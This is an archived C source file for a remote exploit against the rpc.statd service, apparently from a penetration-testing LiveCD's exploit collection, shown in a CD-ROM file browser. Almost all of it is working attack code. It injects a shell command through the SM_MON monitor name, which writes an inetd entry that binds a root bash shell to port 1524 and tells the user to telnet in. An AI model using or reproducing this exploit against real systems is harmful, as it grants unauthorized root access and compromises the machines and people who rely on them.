home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / stdz.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  96 lines

  1. /*
  2.  *
  3.  * Remote exploit for rpc.statd(remote) - Private, Do not distribute!
  4.  *
  5.  * Written by \x90
  6.  *
  7.  * Greetz to p0rtal, paranoid, digit, f1ex, tmoggie, luke_skyw, pyro,
  8.  *                   lostie, all in sK, and all the guys on #hax
  9.  *                   
  10.  * Usage: ./stdz [hostname] [name]
  11.  * 
  12.  */
  13.  
  14.  
  15. #include <stdio.h>
  16. #include <string.h>
  17. #include <netdb.h>
  18. #include <rpc/rpc.h>
  19. #include <sys/time.h>
  20. #include <sys/types.h>
  21. #include <sys/socket.h>
  22. #include <rpcsvc/sm_inter.h>
  23.  
  24. int main(int argc, char *argv[])
  25. {
  26.   CLIENT *cl;
  27.   enum clnt_stat stat;
  28.   struct sm_stat_res monres;
  29.   struct mon monreq;
  30.   struct sockaddr_in target;
  31.   struct hostent *host;
  32.   struct timeval tval;
  33.   struct stat_chge ntz;
  34.   char buf[1024];
  35.   int sockz;
  36.  
  37.   if (argc != 3)
  38.     {
  39.       printf("Statd exploit by \\x90 - PRIVATE!\n\n");
  40.       printf("Usage: %s server name\n", argv[0]);
  41.       exit(0);
  42.     }
  43.  
  44.   bzero(buf, sizeof(buf));
  45.   bzero(&monreq, sizeof(monreq));
  46.  
  47.   sprintf(buf, "; echo \"ingreslock stream tcp nowait root /bin/bash bash\" >> /tmp/.zxc ; /usr/sbin/inetd -s /tmp/.zxc &; rm -f /tmp/.zxc;");
  48.  
  49.   monreq.mon_id.my_id.my_name = argv[2];
  50.   monreq.mon_id.my_id.my_prog = (unsigned long) 100099;
  51.   monreq.mon_id.my_id.my_vers = (unsigned long) 1;
  52.   monreq.mon_id.my_id.my_proc = (unsigned long) 1;
  53.   monreq.mon_id.mon_name = buf;
  54.   monreq.priv[0] = '/';
  55.  
  56.   tval.tv_sec = 9;
  57.   tval.tv_usec = 0;
  58.   ntz.mon_name = buf;
  59.   ntz.state = 1;
  60.  
  61.   host = gethostbyname(argv[1]);
  62.  
  63.   target.sin_family = AF_INET;
  64.   target.sin_addr.s_addr = *(u_long *)host->h_addr;
  65.   target.sin_port = 0;
  66.  
  67.   sockz = RPC_ANYSOCK;
  68.  
  69.   if ( (cl = clntudp_create(&target, SM_PROG, SM_VERS, tval, &sockz)) == NULL)
  70.     {
  71.       printf("Failure.\n");
  72.       exit(0);
  73.     }
  74.  
  75.   stat = clnt_call(cl, SM_MON,(xdrproc_t) xdr_void, &monreq,(xdrproc_t) xdr_void, &monres, tval);
  76.  
  77.   if (stat != RPC_SUCCESS)
  78.     {
  79.       printf("Failure\n");
  80.       exit(0);
  81.     }
  82.  
  83.   stat=clnt_call(cl, SM_NOTIFY, xdr_void, &ntz,xdr_void,NULL,tval);
  84.  
  85.   if (stat != RPC_SUCCESS)
  86.     {
  87.       printf("Failure.\n");
  88.       exit(0);
  89.     }
  90.  
  91.   clnt_destroy(cl);
  92.  
  93.   printf("Worx?, Telnet %s 1524\n", argv[1]);
  94.   exit(0);
  95. }
  96. /*                    www.hack.co.za              [2000]*/